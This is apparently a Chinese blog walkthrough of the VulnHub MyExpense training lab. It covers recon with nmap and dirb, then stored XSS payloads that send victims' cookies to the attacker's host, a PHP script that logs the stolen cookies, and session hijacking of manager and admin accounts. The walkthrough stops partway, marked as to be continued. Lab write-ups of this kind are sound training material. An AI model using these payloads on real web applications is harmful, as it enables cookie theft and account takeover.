个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
靶机网址:
https://www.vulnhub.com/entry/myexpense-1,405/
靶机知识点:
- nmap
- xss stored
- dirb
靶机ip 192.168.34.157
kali ip 192.168.34.80
靶机描述
MyExpense是一个故意存在漏洞的Web应用程序,它使您可以训练如何检测和利用不同的Web漏洞。与更传统的“挑战”应用程序(允许您训练单个特定漏洞)不同,MyExpense包含一组漏洞,您需要利用这些漏洞来实现整个方案。
情境
您是“ Samuel Lamotte”,而您刚被公司“ Furtura Business Informatique”开除。不幸的是,由于您匆忙离开,您没有时间验证您的上一次商务旅行的费用报告,该报告仍为750欧元,对应于飞往您的最后一个客户的返程航班。
由于担心您的前雇主可能不想为您退还该费用报告,因此您决定入侵名为“ MyExpense”的内部应用程序来管理员工费用报告。
这样您就可以在汽车上,公司停车场中并且连接到内部Wi-Fi(出发后钥匙仍未更改)。该应用程序受用户名/密码验证保护,您希望管理员尚未修改或删除您的访问权限。
您的凭据是:samuel / fzghn4lw
挑战完成后,该标志将在与您的(samuel)帐户连接时显示在应用程序上。
信息收集
nmap -sV -p- 192.168.34.157
访问80端口,
dirb http://192.168.34.157/
访问robots.txt
有一个admin/admin.php。访问看看
右上角有一个注册用户的链接,
随便注册了一个,发现按钮不能点击,修改源码,删掉disabled后,注册用户。
会发现这个用户会显示在admin/admin.php
这里显示到了admin.php中,说明这个可能连接到了数据库,并且把注册的用户插入到数据库中,并且在admin.php中显示出来
漏洞利用
这里第一个思路就是xss了。存储型xss。
我们的目标是激活那个账户。然后登录使用账号密码登录它。
自己构造xss语句和接收脚本
<script>document.write('<img src="http://192.168.34.80/1.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("1.txt",$a."\n",FILE_APPEND);
?>
然后在注册页面插入payload。我插入到了firstname,提交,
多了一个用户,并且firstname为空,说明我们语句执行成功了。
然后看下kali。
我现在尝试激活那个用户使用PHPSESSID=lq01sl79rjuqhfcgo9tsb3eek1这个cookie。点击激活按钮,抓包修改cookie。
发送,提示作为一个管理员,不能再同一时间访问,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个cookie是管理员cookie。
从下图可以看出,脚本在定时跑admin/admin.php页面
既然我们不能使用cookie去激活那个账号,那我们就构造xss语句使管理员账号自己激活那个账号。点击那个激活按钮后看到id=11&status=active。所以构造payload如下:
<script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"/>');</script>
点击提交
成功的变为了激活状态,思路没错。
然后使用情景里提供的密码和admin.php提供的username登录。
slamotte:fzghn4lw
登录成功。
发现了很多东西。看见这就是情景里所说的750欧元吧。点击提交,则会把这个单子提交给管理员和财务人员。全部同意后才会得到flag。别问我怎么知道的(没有登录情况下访问首页index.php,有几句英文,翻译下就行)
这个用户的管理者是Manon
这里研究了一段时间,发现下面存在xss漏洞
这里我还是获取cookie,这里我用的是2.php。
<script>document.write('<img src="http://192.168.34.80/4.php?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>
<?php
$a = $_GET['cmd'];
file_put_contents("2.txt",$a." ".date('H:i:s')."\n",FILE_APPEND);
?>
提交
成功被解析
此时看我的kali,发现多了好几个cookie。
一个一个尝试后,会发现有一个是管理员rmasson,还有一个是经理mriviere,还有一个是pgervais,我这里是这样的。不知道是不是随机用户的cookie。应该不是
cookie是随机的,你们一个一个尝试下
我登录到了经理的cookie。看到了我们的那个750的费用报告
点击审对勾,就是审核通过了。
再次回到刚刚的用户,发现已经成为验证的状态。
只要这个状态成为Sent for payment应该就表示完成这个挑战了
此时就差财务人员了。现在还没有思路
待续。。。
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群
来源:CSDN
作者:0xpWn
链接:https://blog.csdn.net/qq_41918771/article/details/103568860